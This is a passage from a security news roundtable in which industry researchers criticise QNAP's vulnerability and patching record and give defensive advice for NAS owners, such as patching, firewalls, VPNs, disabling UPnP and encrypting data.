While customers bear responsibility for their own patching, what about QNAP's rash of security bugs (and spotty track record in patching them quickly)?

"Of course, QNAP can help by doing better, more secure coding," Grimes says. "Many of the announced vulnerabilities have been because QNAP didn't do secure development lifecycle (SDL) coding and simple security reviews. Many of the flaws over the last few years are so basic that it just shows you that QNAP wasn't concentrating enough on making sure they had less vulnerable code."

Horizon3.ai's Hong highlighted the vendor’s own history of being slow to patch disclosed vulnerabilities.

"There's a larger conversation to be had here about legislation that should be passed to ensure vendors are doing their part to protect security, not just market share," he says. "One notorious example goes back in 2020 when an unauthenticated RCE and arbitrary file write exploit took more than seven months to be patched and, even then, only came after its four month disclosure grace-period expired and the exploit was finally made public."

Mike Parkin, senior technical engineer at Vulcan Cyber, has a different take, though.

"It's hard to say whether QNAP has just suffered a run of bad luck with exposed vulnerabilities or there is as actual issue keeping the systems secure, though I lean towards bad luck," he says. "Hopefully, updates from QNAP will make the devices more secure and the user community will take notice and review their own deployments to make sure they were done securely."

QNAP did not respond to a request for comment for this article.

**How Can Companies Protect Themselves Against QNAP Attacks?**

When it comes to best practices for defense, the basics are the place to start, researchers said, including regular patching as explained above. But other measures are important too, like keeping appliances off the Internet and using strong, unique log-on credentials.

"Generally, organizations should minimize their public attack surface," says Jake Williams, executive director of cyber-threat intelligence at Scythe. "Many vulnerabilities in networking gear and other appliances are only exploitable when the administrative interface is exposed to the Internet (something almost universally discouraged by device vendors)."

If they must be accessible via the Internet, appliances should be behind other security measures, according to Satnam Narang, senior staff research engineer at Tenable. "Ideally, you don't want to expose your NAS devices publicly, so keep them behind a router and a firewall and utilize (if available) built-in VPN functionality for remote access," he says.

Another issue that's fixable is the use of Universal Plug and Play (UPnP), which is a network protocol that allows devices to automatically set port-forwarding rules for themselves, meaning these devices are directly accessible from the Internet, sometimes without user knowledge.

"UPnP is used for a variety of purposes, including gaming and streaming content, with the protocol allowing convenience of quickly connecting devices to a network, but at a security cost," says Chris Morgan, senior cyber-threat intelligence analyst at Digital Shadows. "QNAP has clarified that in the wake of attacks targeting their NAS devices, UPnP should be disabled. Port forwarding, which also assists users in direct communication requests, should also be disabled."

Beyond the simple steps, researchers also note that technology approaches are also available, such as encryption for data.

"All organizations should invest in encrypting their sensitive data at rest, and preferably with unique encryption keys per file or object," says Scott Bledsoe, CEO at Theon Technology. "With granular encryption of data at rest, the compromise of a single encryption key will only result in a single item of information from being disclosed, and will prevent large-scale disclosure of sensitive information."

And finally, Ryan McCurdy, vice president of marketing at Bolster, explains that people-based or legacy approaches are nearly impossible to scale with the massive volume of data on the Web, all of which could be a conduit for an attack on NAS devices.

"Throwing bodies and point solutions at this problem no longer works," he says. "In order to scale, it's critical that companies take a platform approach and leverage automation to detect, analyze, and take down fraudulent sites and content across the Web, social media, app stores, marketplaces, and the Dark Web."

Roundtable: Amid Cyberattack Frenzy, How Can QNAP Customers Protect the Business?

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